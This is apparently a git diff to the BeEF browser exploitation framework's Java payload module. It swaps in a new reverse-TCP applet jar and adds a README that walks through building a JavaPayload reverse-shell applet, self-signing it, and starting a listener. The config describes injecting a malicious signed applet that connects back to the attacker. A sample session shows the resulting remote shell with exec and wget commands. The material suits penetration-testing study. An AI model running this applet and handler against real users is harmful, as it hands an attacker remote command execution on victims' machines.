diff --git a/modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar b/modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar deleted file mode 100644 index 8959c4ed9..000000000 Binary files a/modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar and /dev/null differ diff --git a/modules/exploits/local_host/java_payload/AppletReverseTCP-0.3rc1.jar b/modules/exploits/local_host/java_payload/AppletReverseTCP-0.3rc1.jar deleted file mode 100644 index 2c38c932d..000000000 Binary files a/modules/exploits/local_host/java_payload/AppletReverseTCP-0.3rc1.jar and /dev/null differ diff --git a/modules/exploits/local_host/java_payload/Applet_ReverseTCP.jar b/modules/exploits/local_host/java_payload/Applet_ReverseTCP.jar new file mode 100644 index 000000000..30e058e87 Binary files /dev/null and b/modules/exploits/local_host/java_payload/Applet_ReverseTCP.jar differ diff --git a/modules/exploits/local_host/java_payload/README.txt b/modules/exploits/local_host/java_payload/README.txt new file mode 100644 index 000000000..df644a52d --- /dev/null +++ b/modules/exploits/local_host/java_payload/README.txt @@ -0,0 +1,50 @@ +--- How to use this module --- +The following is how you compile the JavaPayload handlers : + +$git clone https://github.com/schierlm/JavaPayload/tree/master/JavaPayload javapayload-git +$cd javapayload-git/JavaPayload/lib && wget http://download.forge.objectweb.org/asm/asm-3.2.jar +$cd .. && ant compile && ant jar +$cd build/bin +$java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.builder.AppletJarBuilder ReverseTCP + +At this point you have the applet ready to go, with a reverseTCP handler: +Applet_ReverseTCP.jar +Note that the applet in this module is already compiled (with Java 7, you might want to recompile it +with Java 6 to run it on those versions too - SUGGESTED :-). + +At this stage you need to sign the applet. +The following is to create a self-signed certificate and then sign it. +Obviously if you have a valid code signing certificate, even better ;) + +keytool -keystore tmp -genkey +jarsigner -keystore tmp Applet_ReverseTCP.jar mykey + +Now replace the newly signed Applet_ReverseTCP.jar in the BeEF module. + +You're now ready to rock. start the reverse handler listener with (update payload/host/port if necessary): +java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP 127.0.0.1 6666 -- JSh + +Now launch the BeEF module. +If the victim RUN the Signed Java Applet, job done and you can interact with the applet from the reverse connection handler: +antisnatchor$ java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP 127.0.0.1 6666 -- JSh +! help +help: show information about commands. + Usage: help [command] + +Supported commands: + help - show this help + info - list system properties + pwd - show current directory + cd - change directory + ls - list directory + exec - execute native command + cat - show text file + wget - download file + telnet - create TCP connection + paste - create text file + jobs - list or continue jobs + exit - Exit JSh + +When inside an interactive command, enter ~. on a new +line to exit from that command. Enter ~& to background the command. +Enter ~~ to start a line with a ~ character \ No newline at end of file diff --git a/modules/exploits/local_host/java_payload/config.yaml b/modules/exploits/local_host/java_payload/config.yaml index 0988b5c10..5aaa61d93 100755 --- a/modules/exploits/local_host/java_payload/config.yaml +++ b/modules/exploits/local_host/java_payload/config.yaml @@ -12,5 +12,4 @@ beef: description: "Inject a malicious signed Java Applet (JavaPayload) that connects back to the attacker giving basic shell commands, command exec and wget.

Before launching it, be sure to have the JavaPayload StagerHandler listening,
i.e.: java javapayload.handler.stager.StagerHandler <payload> <IP> <port> -- JSh

Windows Vista is not supported." authors: ["antisnatchor"] target: - not_working: ["FF"] user_notify: ["All"] diff --git a/modules/exploits/local_host/java_payload/module.rb b/modules/exploits/local_host/java_payload/module.rb index ec911011b..97caa35d4 100755 --- a/modules/exploits/local_host/java_payload/module.rb +++ b/modules/exploits/local_host/java_payload/module.rb @@ -6,7 +6,7 @@ class Java_payload < BeEF::Core::Command def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar', '/anti', 'jar') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/java_payload/Applet_ReverseTCP.jar', '/anti', 'jar') end def self.options